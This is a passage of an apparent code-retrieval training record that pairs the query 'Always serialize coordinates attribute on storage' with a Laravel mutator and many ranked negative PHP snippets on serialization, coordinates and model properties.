? $properties->repeatEndUTC->format('c') : null;\n $properties->weeklyDays = is_null($properties->weeklyDays) ? array() :\n // All this does is cast the exploded values from strings to integers\n array_map(function($day){ return (int)$day; }, explode(',',$properties->weeklyDays));\n return $properties;\n }", "public function __clone()\n\t{\n\t\tforeach ($this as $k => $v)\n\t\t{\n\t\t\tif (is_object($v) || is_array($v))\n\t\t\t{\n\t\t\t\t$this->{$k} = unserialize(serialize($v));\n\t\t\t}\n\t\t}\n\t}", "public function getCoordinate() {\n return $this->coordinate;\n }", "function _unserialize( $serial ) {\n\t\tif( function_exists( 'gzinflate' ) ) {\n\t\t\t$decomp = @gzinflate( $serial );\n\t\t\tif( false !== $decomp ) {\n\t\t\t\t$serial = $decomp;\n\t\t\t}\n\t\t}\n\t\treturn unserialize( $serial );\n\t}", "abstract protected function serializeData($unSerializedData);", "public function serialize()\n\t{\n\t\treturn serialize(array(\n\t\t\t$this->gender,\n\t\t\t($this->sociotype ? $this->sociotype->getId() : 0),\n\t\t\t$this->ageFrom,\n\t\t\t$this->ageTo,\n\t\t\t$this->locationId,\n\t\t\t$this->locationType,\n\t\t\t$this->locationTitle,\n\t\t\t$this->hasPhoto,\n\t\t));\n\t}", "public function load()\n {\n $raw = $this->_getBackend()->load($this->_id);\n return unserialize($raw);\n }", "protected function value_get(){\n\t\t\n\t\tif ( is_serialized( $this->value ) ) {\n\t\t\t$this->value = unserialize( $this->value );\n\t\t} elseif ( is_string( $this->value ) && 0 === strpos( $this->value, '{' ) && is_object( $_value = json_decode( $this->value ) ) ) {\n\t\t\t$this->value = (array) $_value;\n\t\t}\n\n\t\treturn $this->value;\n\t\t\n\t}", "public function toArray()\n {\n return array($this->x, $this->y);\n }", "protected function getTransformedData()\n {\n return $this->transformedData;\n }", "public function __wakeup(): void\n {\n /**\n * Prior to unserialization, this is a string.\n *\n * @var string $timezone\n */\n $timezone = $this->timezone;\n\n $this->timezone = new DateTimeZone($timezone);\n parent::__construct($this->date, $this->timezone);\n }" ]
[ "0.6557048", "0.5719965", "0.56663734", "0.56413805", "0.5551172", "0.55447596", "0.54303646", "0.5401764", "0.5382625", "0.5366854", "0.52941746", "0.5281055", "0.5281055", "0.5247889", "0.52467364", "0.5232397", "0.51980674", "0.5187305", "0.51868856", "0.5182701", "0.51769245", "0.51615065", "0.5159861", "0.5129012", "0.5111181", "0.5088973", "0.5071026", "0.5039224", "0.50373554", "0.50281113", "0.50149214", "0.5013077", "0.49891412", "0.49775678", "0.4954234", "0.4927246", "0.4913956", "0.49115905", "0.49036893", "0.48983225", "0.48861262", "0.48860827", "0.4884169", "0.4883817", "0.48771474", "0.48664576", "0.48590901", "0.48533484", "0.4845782", "0.48264793", "0.4824799", "0.4816865", "0.48151985", "0.4812023", "0.48092017", "0.48074934", "0.48006457", "0.47967234", "0.4786463", "0.47852546", "0.47792482", "0.47669575", "0.4766714", "0.4763585", "0.4746528", "0.47280678", "0.47109038", "0.47097838", "0.47018743", "0.46991324", "0.4698074", "0.46741205", "0.46740183", "0.46740183", "0.46731648", "0.46472397", "0.46465", "0.4642107", "0.46417832", "0.4641112", "0.46394718", "0.46374822", "0.46374822", "0.4633692", "0.46326345", "0.462008", "0.46187863", "0.46146974", "0.46010005", "0.4585024", "0.45777225", "0.45761132", "0.4574747", "0.45689732", "0.45667803", "0.45598093", "0.4554217", "0.45509103", "0.45470613", "0.4546154" ]
0.7251681
0
Always serialize coordinates attribute on storage.
public function setCoordinatesAttribute($coordinates) { $this->attributes['coordinates'] = serialize($coordinates); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getCoordinatesAttribute($coordinates)\n {\n return $coordinates != null ? unserialize($coordinates) : null;\n }", "public function serialize() {\n return array( \n 'lat' => $this->getLat(),\n 'lon' => $this->getLong()\n );\n }", "public function jsonSerialize(): mixed\n {\n $position = [$this->getLng(), $this->getLat()];\n if ($this->is3d()) $position[] = $this->getAlt();\n return new \\GeoJson\\Geometry\\Point($position);\n }", "public function getCoordinates()\n {\n return $this->coordinates;\n }", "public function jsonSerialize()\n {\n return [\n 'x' => $this->x,\n 'y' => $this->y,\n ];\n }", "public function getCoordinates(): array\n {\n return $this->coordinates;\n }", "public function getCoordinates();", "public function set_chain_store_coordinates() \n {\n // get all chain stores\n $chain_stores = $this->admin_model->get_all(CHAIN_STORE_TABLE);\n \n foreach ($chain_stores as $store) \n {\n if($store->longitude == 0 && $store->latitude == 0)\n {\n $data = array(\"longitude\" => 0, \"latitude\" => 0, \"id\" => $store->id);\n $coordinates = $this->geo->get_coordinates($store->city, $store->address, $store->state, $store->country);\n if($coordinates)\n {\n $data[\"longitude\"] = $coordinates[\"long\"];\n $data[\"latitude\"] = $coordinates[\"lat\"];\n }\n\n $this->admin_model->create(CHAIN_STORE_TABLE, $data);\n }\n \n }\n }", "function setCoords($a_coords)\n\t{\n\t\t$this->coords = $a_coords;\n\t}", "public function jsonSerialize() {\n\t\treturn $this->store;\n\t}", "public function serialize()\n\t{\n\t\treturn serialize(array(\n\t\t\t$this->gender,\n\t\t\t($this->sociotype ? $this->sociotype->getId() : 0),\n\t\t\t$this->ageFrom,\n\t\t\t$this->ageTo,\n\t\t\t$this->locationId,\n\t\t\t$this->locationType,\n\t\t\t$this->locationTitle,\n\t\t\t$this->hasPhoto,\n\t\t));\n\t}", "public function save_coordinates( $attachment_id, $size, $coordinates ) {\n\t\t$sizes = (array) get_post_meta( $attachment_id, $this->post_meta, true );\n\n\t\t$sizes[ $size ] = $coordinates;\n\n\t\t// save meta for all the related sizes to if were using a ratio map.\n\t\tif ( $this->use_ratio_map ) {\n\t\t\t$related_sizes = $this->get_related_sizes( $size );\n\n\t\t\t// add the same meta value to the related sizes.\n\t\t\tif ( count( $related_sizes ) ) {\n\t\t\t\tforeach ( $related_sizes as $related_size ) {\n\t\t\t\t\t$sizes[ $related_size ] = $coordinates;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tupdate_post_meta( $attachment_id, $this->post_meta, $sizes );\n\t}", "abstract public function coordinates();", "function amap_ma_save_object_coords($location, $object, $pluginname, $lat_g = '', $lng_g = '') {\n if ($lat_g && $lng_g) {\n $lat = $lat_g;\n $lng = $lng_g;\n } else if ($location) {\n $prefix = elgg_get_config('dbprefix');\n $coords = amap_ma_geocode_location($location);\n\n if ($coords) {\n $lat = $coords['lat'];\n $lng = $coords['long'];\n }\n }\n\n if ($lat && $lng) {\n $prefix = elgg_get_config('dbprefix');\n $object->setLatLong($lat, $lng);\n $query = \"INSERT INTO {$prefix}entity_geometry (entity_guid, geometry)\n VALUES ({$object->guid}, GeomFromText('POINT({$lat} {$lng})'))\n ON DUPLICATE KEY UPDATE geometry=GeomFromText('POINT({$lat} {$lng})')\";\n\n insert_data($query);\n\n return true;\n }\n\n return false;\n}", "public function getCoord(){\n return $this->coord;\n }", "public function initializePositionSaving() {}", "public function initializePositionSaving() {}", "public function initializePositionSaving() {}", "public function getCoords()\n\t{\n\t\treturn $this->coords;\n\t}", "public function savePosition() {}", "public function setLocationAttribute($value)\n {\n $value=empty($value)?'0,0':$value;\n $this->attributes['location'] = DB::raw(\"POINT($value)\") ;\n }", "public function afterSave()\r\n\t{\r\n\t\tif(count($this->serialAttributes)) {\r\n\t\t\tforeach($this->serialAttributes as $attribute) {\r\n\t\t\t\t$_att = $this->owner->$attribute;\r\n\t\t\t\tif(!empty($_att)\r\n\t\t\t\t && is_scalar($_att)) {\r\n\t\t\t\t\t$a = @unserialize($_att);\r\n\t\t\t\t\tif($a !== false) {\r\n\t\t\t\t\t\t$this->owner->$attribute = $a;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\t$this->owner->$attribute = null;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\t\t\t\r\n\t\t}\r\n\t}", "private function updateGeoCoords()\n\t{\n\t\t// $this->attributes contains payload of the session\n\t\t// $this->handler->get_table_row() contains extended Row's field like IP and Platform\n\t\t$row = $this->handler->get_table_row();\n\t\t$current_ip = PlatformDetector::getClientIp();\n\n\t\t// define the flag for new re-detection\n\t\t// if no coordinates is set\n\t\t$should_recheck_coords = !isset($this->attributes['geo_coords']);\n\t\t// or if IP address was changed\n\t\t$should_recheck_coords |= $row && $row['ip_address'] != $current_ip;\n\n\t\tif ($should_recheck_coords) {\n\t\t\t//Log::info('Recheck GEO coords for session');\n\t\t\t// we need to update geo coordinates\n\t\t\t$coords = GeoIPLib::get_lat_lon($current_ip);\n\t\t\t$this->attributes['geo_coords'] = [\n\t\t\t\t'latitude' => $coords[0],\n\t\t\t\t'longitude' => $coords[1],\n\t\t\t];\n\t\t}\n\n\t}", "public function toArray($serialize = true)\n {\n return $this->toSerializedArray(\n $serialize,\n [\n self::LATITUDE => $this->latitude,\n self::LONGITUDE => $this->longitude,\n self::ELEVATION => $this->elevation,\n ]\n );\n }", "#[ReturnTypeWillChange]\n public function __serialize()\n {\n return $this->toArray();\n }", "public function toArray()\n {\n return [\n 'latitude' => $this->latitude,\n 'longitude' => $this->longitude,\n ];\n }", "public function __serialize() { \n $serialized = [\n 'instance_name' => $this->instance_name,\n 'local_columns' => array_map(fn($column) => $this->serializeColumn($column), $this->getLocalColumns()),\n 'referenced_columns' => array_map(fn($column) => $this->serializeColumn($column), $this->getReferencedColumns()),\n 'is_reversed_relation' => $this->is_reverse_relation,\n 'target_relation' => $this->getTargetRelation(),\n 'type' => $this->type,\n ];\n\n return $serialized;\n\n }", "public function serialize() {}", "public function serialize() {}", "public function serialize() {}", "public function serialize() {}", "public function serialize() {}", "public function serialize() {}", "public function serialize() {}", "public function serialize() {}", "public function setCoordinates($coordinates)\n {\n $this->coordinates = $coordinates;\n }", "public function getCoordinate()\n {\n return $this->coordinate;\n }", "public abstract function serialize();", "protected function normalize(): void\n {\n $coordinate = new BaseCoordinate(array(0, $this->value));\n $latitude = (float)$coordinate->getLongitude();\n\n $this->value = $latitude;\n }", "function jsonSerialize()\n {\n\n $this->points = array_reverse($this->points);\n\n for ($i=0; $i< count($this->points); $i++) {\n foreach ($this->points[$i] as $key => $value) {\n if ($key == \"LOCATION_ID\")\n continue;\n\n if ($key == 'time')\n $this->points[$i][$key] = strtotime($this->points[$i][$key]) * 1000;\n else\n $this->points[$i][$key] = round($this->points[$i][$key], 2);\n }\n }\n return $this->points;\n/*\n\n $lines = [];\n foreach ($this->points as $point) {\n $i = 0;\n foreach ($point as $key => $value) {\n if ($key == \"LOCATION_ID\")\n continue;\n\n if (!isset($lines[$i])) {\n $lines[$i] = [];\n }\n\n if ($key == 'time')\n $lines[$i][] = strtotime($point['time']) * 1000;\n else\n $lines[$i][] = round($point[$key], 2);\n\n $i++;\n }\n }\n return $lines;*/\n }", "public function getHasCoordinates(){\n\t\treturn ($this->coordinates != '') ? 1:0;\n\t}", "public function getCoordinates()\n\t{\n\t\tif (!empty($this->_coordinates)) {\n\t\t\treturn $this->_coordinates;\n\t\t} else {\n\t\t\t$errorMsg = 'getCoordinates called before coordinates values have been set';\n\t\t\tthrow new Exception($errorMsg);\n\t\t}\n\t}", "public function getCoordinate() {\n return $this->coordinate;\n }", "abstract public function serialize();", "abstract public function serialize();", "public function serialize()\n {\n $data = [\n 'uid' => $this->getIdentifier()\n ];\n return serialize($data);\n }", "public function getAsArray($serializeNestedObjects=false) {\n\n\t\treturn [\"locationLabel\"=>$this->locationLabel, \"address\"=>$this->address, \"loc\"=>array(\"type\"=>\"Point\",\"coordinates\"=>[(float)$this->longitude,(float)$this->latitude]), \"isPrimary\"=>$this->isPrimary];\n\t}", "public function serialize()\n {\n // TODO: Implement serialize() method.\n }", "abstract protected function serializeData();", "public function getSpGeometryArray() {\n if ($this->getSpGeometry()) {\n $json['type'] = $this->getSpGeometry()->getType();\n $json['coordinates'] = $this->getSpGeometry()->toArray();\n\n return $json;\n }\n\n return NULL;\n }", "public function getCoordinate() {\n\n return $this->coordinate;\n }", "public function setCoordinates(Coordinates $coordinates)\n {\n $this->coordinates = $coordinates;\n }", "public function serialize();", "public function serialize();", "public function serialize();", "public function publicLocation()\n {\n return $this->state(function (array $attributes) {\n return [\n 'location' => 1,\n ];\n });\n }", "public function getCoordAmigavelAttribute()\n {\n return \"(\".$this->x.\")|(\".$this->y.\")\";\n }", "public function setCoordinates(array $coords) {\n $count = count($coords);\n if ($count % 2 !== 0) {\n throw new \\Sphp\\Exceptions\\InvalidArgumentException(\"The sum of coordinates must divisible by 2\");\n }\n $coordsString = implode(',', $coords);\n $this->attrs()->set('coords', $coordsString);\n return $this;\n }", "function tradeoff_map_node_coordinates($definition)\n {\n return app(Models\\Resolution\\Map\\MapNodeCoordinates::class)->setData($definition);\n }", "public function serialize(PropertyHolder $data);", "function value() { return $this->geom; }", "public function testSetAndGetCoordinates()\n {\n $latitude = \"test\";\n $longitude = \"test2\";\n\n $this->getWeather->setCoordinates($latitude, $longitude);\n $coordinates = $this->getWeather->getCoordinates();\n $expectedLatitude = $coordinates['latitude'];\n $expectedLongitude = $coordinates['longitude'];\n\n $this->assertEquals($latitude, $expectedLatitude);\n $this->assertEquals($longitude, $expectedLongitude);\n }", "public function serialize(){ }", "public function serialize()\n {\n }", "public function serialize()\n {\n }", "public function serialize(SerializationWriter $writer): void {\n parent::serialize($writer);\n $writer->writeObjectValue('format', $this->getFormat());\n $writer->writeStringValue('name', $this->getName());\n $writer->writeCollectionOfObjectValues('points', $this->getPoints());\n }", "public function toArray()\n {\n return array(\n \"lat\" => $this->lat,\n \"lng\" => $this->lng\n );\n }", "public function beforeSave()\n {\n $value = $this->getValue();\n $value = $this->makeStorableArrayFieldValue($value);\n $this->setValue($value);\n }", "abstract public function getIsSerializedAttribute() : bool;", "public function serialize()\n {\n return serialize(get_object_vars($this));\n }", "public function serialize()\n {\n return serialize(get_object_vars($this));\n }", "public function serialize()\n {\n return serialize(get_object_vars($this));\n }", "public function getLatitude()\n {\n return $this->get('Latitude');\n }", "public function serialize()\n {\n return serialize([\n $this->nodes,\n $this->root,\n $this->pointer,\n ]);\n }", "public function toArray()\n {\n return [\n 'x' => $this->x(),\n 'y' => $this->y(),\n 'z' => $this->z\n ];\n }", "#[@fromDia(xpath= 'dia:attribute[@name=\"pos\"]/dia:point/@val', value= 'array')]\n public function setPosition($position) {\n $this->setPoint('pos', $position);\n }", "function initializeObjectAttribute( $contentObjectAttribute, $currentVersion, $originalContentObjectAttribute )\n {\n if ( $currentVersion != false )\n {\n $data = $originalContentObjectAttribute->attribute( \"content\" );\n $contentObjectID = $contentObjectAttribute->attribute( 'contentobject_id' );\n $originalContentObjectID = $originalContentObjectAttribute->attribute( 'contentobject_id' );\n \n if ( is_object( $data ) )\n {\n if ( $contentObjectID != $originalContentObjectID )\n {\n $gp = new xrowGISPosition( array( \n 'contentobject_attribute_id' => $contentObjectAttribute->attribute( 'id' ) , \n 'contentobject_attribute_version' => $contentObjectAttribute->attribute( 'version' ) , \n 'latitude' => $data->attribute( 'latitude' ) , \n 'longitude' => $data->attribute( 'longitude' ) , \n 'street' => $data->attribute( 'street' ) , \n 'zip' => $data->attribute( 'zip' ) , \n 'district' => $data->attribute( 'district' ) , \n 'city' => $data->attribute( 'city' ) , \n 'state' => $data->attribute( 'state' ) , \n 'country' => $data->attribute( 'country' ),\n 'accurate' => $data->attribute( 'accurate' )\n ) );\n $contentObjectAttribute->Content = $gp;\n }\n else\n {\n \n if ( $originalContentObjectAttribute->attribute( 'data_int' ) )\n {\n $contentObjectAttribute->setAttribute( 'data_int', $originalContentObjectAttribute->attribute( 'data_int' ) );\n $contentObjectAttribute->setAttribute( 'sort_key_int', $originalContentObjectAttribute->attribute( 'data_int' ) );\n }\n $data->setAttribute( 'contentobject_attribute_id', $contentObjectAttribute->attribute( 'id' ) );\n $data->setAttribute( 'contentobject_attribute_version', $contentObjectAttribute->attribute( 'version' ) );\n $contentObjectAttribute->setContent( $data );\n }\n $contentObjectAttribute->store();\n }\n else\n {\n $contentObjectAttribute->setContent( null );\n }\n }\n else\n {\n $contentObjectAttribute->setContent( null );\n }\n }", "function jsonSerialize() {\n $data = array();\n if ($this->getStreet()) {\n $data[self::FIELDNAME_STREET] = $this->getStreet();\n }\n if ($this->getZip()) {\n $data[self::FIELDNAME_ZIP] = $this->getZip();\n }\n if ($this->getCity()) {\n $data[self::FIELDNAME_CITY] = $this->getCity();\n }\n if ($this->getCountry()) {\n $data[self::FIELDNAME_COUNTRY] = $this->getCountry();\n }\n if ($this->getCoordinate()) {\n $data[self::FIELDNAME_COORDINATE] = $this->getCoordinate();\n }\n return $data;\n }", "public function jsonSerialize(){\n return [\n \"name\" => $this->getName(),\n \"location\" => $this->getLocation()\n ];\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }", "public function jsonSerialize()\n {\n return ObjectSerializer::sanitizeForSerialization($this);\n }" ]
[ "0.66904724", "0.6220539", "0.60584307", "0.5855384", "0.57794446", "0.5700593", "0.5584386", "0.5556558", "0.53686976", "0.53552014", "0.5322808", "0.5302561", "0.52963424", "0.52659845", "0.52596784", "0.5255756", "0.52545744", "0.52545744", "0.52489614", "0.52389276", "0.523886", "0.52348185", "0.52064866", "0.51982594", "0.51945645", "0.5194356", "0.51754284", "0.51531726", "0.51531726", "0.5151804", "0.5151804", "0.5151804", "0.5151804", "0.5151804", "0.5151804", "0.51416117", "0.51071054", "0.51070315", "0.5092303", "0.5055849", "0.5053528", "0.5042102", "0.5034604", "0.5028527", "0.5028527", "0.50211096", "0.49659717", "0.4954148", "0.49527982", "0.49405754", "0.49312374", "0.4905182", "0.4899678", "0.4899678", "0.4899678", "0.48943833", "0.4881584", "0.48683298", "0.48512888", "0.48349562", "0.4830472", "0.4829356", "0.482881", "0.48112684", "0.48112684", "0.48105502", "0.4808786", "0.4808211", "0.48011076", "0.47923058", "0.47923058", "0.47923058", "0.47910893", "0.47800592", "0.4777196", "0.4773182", "0.47577435", "0.47560185", "0.47528985", "0.47450665", "0.47450665", "0.47450665", "0.47450665", "0.47450665", "0.47450665", "0.47450665", "0.47450665", "0.47450665", "0.47450665", "0.47450665", "0.47450665", "0.47450665", "0.47450665", "0.47450665", "0.47450665", "0.47450665", "0.47450665", "0.47450665", "0.47450665", "0.47450665" ]
0.69275486
0
Add property type value to query.
public function scopeWithType($query) { return $query->join('types', 'types.id', '=', 'properties.type_id') ->addSelect('types.name as type') ->addSelect('types.icon as type_icon'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function scopeOfPropertyType($query, $type)\n {\n return $query->where('property_type_id', $type);\n }", "private function performTypeCasting(Collection\\Property\\Type $propertyType, &$value): void\n {\n // Additional type casting\n switch ($propertyType->getType()) {\n case 'coordinates':\n $value['latitude'] = (float) $value['latitude'];\n $value['longitude'] = (float) $value['longitude'];\n break;\n case 'dateTime':\n try {\n $value = new DateTime($value);\n $value = $value->format(DateTime::ATOM);\n } catch (Exception $exception) {\n $value = null;\n }\n\n break;\n case 'boolean':\n $value = $value === 'true';\n break;\n case 'number':\n $value = (float) $value;\n break;\n case 'file':\n $value = array_map(function (string $fileName) {\n $relativePath = sprintf('/collections/%s/%s', $this->collection->getId(), $fileName);\n\n return [\n 'file_name' => $fileName,\n 'file_path' => $relativePath,\n 'absolute_url' => $this->urlGenerator->generate(\n 'pronto_mobile_api_file_download',\n ['path' => ltrim($relativePath, '/')],\n UrlGeneratorInterface::ABSOLUTE_URL\n ),\n ];\n }, $value);\n }\n }", "public static function set_property($data, $property, $type = \"string\", $default_value = null){\n return isset($data[$property]) ? (\n $type == \"num\" ? intval($data[$property])\n : ($type == \"bool\" ? (boolean) $data[$property]\n : ($type == \"date\" ? new \\DateTime($data[$property]) : $data[$property] ) ) )\n : $default_value;\n }", "public function getPropertyTypes()\n\t{\n\t\treturn $this->hasOne(PropertyTypes:: className(), ['id' => 'property_type_id']);\n\t}", "function setType($property, $to, $set=false) {\n global $DB;\n if(@$this->TYPE[$property] != $to) {\n $upd = array('type' => $to, 'set' => $set);\n if($to == 'CSV' && is_array(@$this->DATA[$property])) {\n $this->DATA[$property] = $upd['value'] = join(',',$this->DATA[$property]);\n } elseif(@$this->TYPE[$property] == 'CSV') {\n $this->DATA[$property] = $upd['value'] = explode(',',$this->DATA[$property]);\n }\n $this->TYPE[$property] = $to;\n $DB->config->update($upd, array('section' => $this->NAME, 'property' => $property), true);\n }\n }", "public function setType(?PropertyType $value): void {\n $this->getBackingStore()->set('type', $value);\n }", "public function setQueryType(?string $value): void {\n $this->getBackingStore()->set('queryType', $value);\n }", "public function bamobile_mobiconnector_add_type_to_posts_rest_api($query){\r\n $qv =& $query->query_vars;\r\n $listoptionscheckbox = get_option('mobiconnector_settings-post_type');\r\n $listoptionscheckbox = unserialize($listoptionscheckbox);\r\n if(!empty($listoptionscheckbox)){\r\n $post_type = '';\r\n foreach($listoptionscheckbox as $posttype => $value){ \r\n $name = str_replace('mobi-','',$posttype); \r\n if($value == 1){\r\n $post_type .= $name.',';\r\n }\r\n }\r\n $post_type = trim($post_type,',');\r\n $post_type = explode(',',$post_type);\r\n if(bamobile_mobiconnector_is_rest_posts() || bamobile_mobiconnector_is_rest_posts_detail()){\r\n $qv['post_type'] = $post_type;\r\n }\r\n }\r\n }", "public function addRawProperty($field, RawProperty $property);", "protected function getQueryType()\n {\n }", "public function addProperty( $portType, $value ) {\n $index = $this->getIndexOfProperty( $portType );\n\n if ( $index != NULL ) {\n $this->properties[$index] = ['portType'=>$portType, 'value'=>$value];\n } else {\n $this->properties[] = ['portType'=>$portType, 'value'=>$value];\n }\n }", "public function add_data_field_type_attr( $properties, $field, $form_data ) {\n\n\t\t$properties['container']['data']['field-type'] = $field['type'];\n\n\t\treturn $properties;\n\t}", "public function type($value) {\n return $this->setProperty('type', $value);\n }", "public function type($value) {\n return $this->setProperty('type', $value);\n }", "public function type($value) {\n return $this->setProperty('type', $value);\n }", "public function type($value) {\n return $this->setProperty('type', $value);\n }", "public function type($value) {\n return $this->setProperty('type', $value);\n }", "public function set_type( $type ) {\n\t\t$this->set_prop( 'type', sanitize_title( $type ) ) ;\n\t}", "public function addFilter($type, $value);", "public function addType($type)\n {\n $this->type = $this->type . Collection::OPERATOR_OR . $type;\n $this->types = null;\n $this->content = null;\n return $this;\n }", "public function addPropertyValue(string $property, $value) : DataContainerInterface;", "public function addType($type);", "public function set_type($type)\n {\n $this->set_default_property(self::PROPERTY_TYPE, $type);\n }", "function acf_get_field_type_prop($name = '', $prop = '')\n{\n}", "public function setType($value){\n return $this->setParameter('type', $value);\n }", "public function setType($value){\n return $this->setParameter('type', $value);\n }", "public function addParam($value, $type = null) {\n\t\tif (is_null($type)) {\n\t\t\t$type = $this->_typecast($value);\n\t\t}\n\t\tif (is_array($value)) {\n\t\t\tforeach ($value as $k => $v) {\n\t\t\t\t$t = $this->_typecast($v);\n\t\t\t\t$value[$k] = array('value' => $v, 'type' => $t);\n\t\t\t}\n\t\t}\n\t\t$this->_data[] = array('type' => $type, 'value' => $value);\n\t}", "public function guessType($class, $property);", "function property_type($field)\n{\n$cms=mysql_fetch_array(mysql_query(\"select type_name from manage_property_type where ptype='\".$field.\"'\"));\nreturn $cms['type_name'];\n}", "public function queryFilter($query)\n {\n global $pagenow;\n\n if (!is_admin() || !$pagenow || $pagenow !== 'edit-comments.php' || !isset($_GET['post_type']) || !$_GET['post_type']) {\n return;\n }\n\n $query->set('post_type', $_GET['post_type']);\n }", "private static function putType(string $type, array $properties, string $dialect): void\n {\n // Type already extended ?\n if (! isset(self::$definitions[$type])) {\n self::$definitions[$type] = [];\n }\n\n // Define a property\n foreach ($properties as $property => $config) {\n if (is_string($config)) {\n $property = $config;\n }\n self::$definitions[$type][$property] =\n self::createProperty($type, $property, $config, $dialect);\n }\n }", "public function addProperty(Property $property)\n {\n $this->properties[(string)$property->getFqsen()] = $property;\n }", "public function type($type = null)\n {\n if(null === $type)\n {\n return $this->property('type');\n }\n return $this->property('type', trim($type));\n }", "function query_post_type($query) {\n $post_types = get_post_types();\n if ( is_category() || is_tag()) {\n\n $post_type = get_query_var('post_type');\n \n if ( $post_type )\n $post_type = $post_type;\n else\n $post_type = $post_types; \n $query->set('post_type', $post_type);\n\n return $query;\n }\n}", "public function setTypes($query)\n {\n // If not search or main query, return the default query\n if (!is_search() || is_post_type_archive() || !$query->is_main_query() || is_admin()) {\n return;\n }\n\n $postTypes = self::getPublic(self::$postTypeFilter);\n\n $query->set('cache_results', false);\n $query->set('post_type', $postTypes);\n\n $postStatuses = array('publish', 'inherit');\n\n $query->set('post_status', $postStatuses);\n }", "public function add_field(string $key, $value, string $type = null, string $order = null, \\WPGraphQL\\Data\\Cursor\\PostObjectCursor $object_cursor = null)\n {\n }", "public function addColumn(Property $property);", "public function addProperty($key, $value);", "function getPropertyType(){\n\t\t$this->db->select('t1.propertyTypeID,t1.propertyTypeName,t2.propertyTypeKey');\n\t\t$this->db->from('rp_property_type_details t1');\n\t\t$this->db->join('rp_property_types t2','t1.propertyTypeID = t2.propertyTypeID AND t2.propertyTypeStatus = \"active\"\n\t\tAND t1.languageID =1','inner');\n\t\t$query = $this->db->get();\n\t\treturn $query->result();\n\t}", "public function type(GalSearchType $type = null)\n {\n if(null === $type)\n {\n return $this->property('type');\n }\n return $this->property('type', $type);\n }", "public function inferProperty($property) : ?\\PHPStan\\Type\\Type;", "protected function _add($property, $value): void {\n if (property_exists($this, $property)) {\n $this->{$property}[] = $value;\n } else {\n $this->_properties[$property][] = $value;\n }\n }", "protected function parsePropertyType()\n {\n $this->debug('parsePropertyType');\n\n // TODO: can the property be lowercase or camelcase as in old spec?\n $types = array(\"STRING\", \"BINARY\", \"LONG\", \"DOUBLE\", \"BOOLEAN\", \"DATE\", \"NAME\", \"PATH\",\n \"REFERENCE\", \"WEAKREFERENCE\", \"DECIMAL\", \"URI\", \"UNDEFINED\", \"*\", \"?\");\n\n $this->expectToken(Token::TK_SYMBOL, '(');\n\n $data = $this->tokenQueue->get()->getData();\n if (!in_array($data, $types)) {\n throw new ParserException($this->tokenQueue, sprintf(\"Invalid property type: %s\", $data));\n }\n\n $this->expectToken(Token::TK_SYMBOL, ')');\n\n $this->debugRes('propertyType: ' . $data);\n\n return new SyntaxTreeNode('propertyType', array('value' => $data));\n }", "public function __set($property, $value)\n {\n // convert from Phalcon\\Mvc\\Model\\Resultset\\Simple\n if ($value instanceof \\Phalcon\\Mvc\\Model\\ResultSetInterface)\n {\n // converts resultset into array instead\n // note: you would think you could do $value->toArray() but that converts everything to an array, not just the outer part\n // just track the result sets that we have to convert if in the event we are setting the resultset to the property\n // need to do it this way for performance, filter is too slow\n // this gets triggered for every field for every fetch query (but only when using model relationships aliases\n// $this->fixResultSets[$property] = true;\n //\n $value = $value->filter(function($r) {\n return $r;\n });\n } else\n {\n unset($this->fixResultSets[$property]);\n }\n parent::__set($property, $value);\n }", "public function setAzureProperty($name, $value = '', $type = null)\n {\n if (strtolower($name) == 'partitionkey') {\n $this->setPartitionKey($value);\n } else if (strtolower($name) == 'rowkey') {\n $this->setRowKey($value);\n } else if (strtolower($name) == 'etag') {\n $this->setEtag($value);\n } else {\n if (!array_key_exists(strtolower($name), $this->_dynamicProperties)) {\n // Determine type?\n if (is_null($type)) {\n $type = 'Edm.String';\n if (is_int($value)) {\n $type = 'Edm.Int32';\n } else if (is_float($value)) {\n $type = 'Edm.Double';\n } else if (is_bool($value)) {\n $type = 'Edm.Boolean';\n } else if ($value instanceof DateTime || $this->_convertToDateTime($value) !== false) {\n if (!$value instanceof DateTime) {\n $value = $this->_convertToDateTime($value);\n }\n $type = 'Edm.DateTime';\n }\n }\n \n // Set dynamic property\n $this->_dynamicProperties[strtolower($name)] = (object)array(\n 'Name' => $name,\n 'Type' => $type,\n 'Value' => $value,\n );\n }\n \n // Set type?\n if (!is_null($type)) {\n $this->_dynamicProperties[strtolower($name)]->Type = $type;\n \n // Try to convert the type\n if ($type == 'Edm.Int32' || $type == 'Edm.Int64') {\n $value = intval($value);\n } else if ($type == 'Edm.Double') {\n $value = 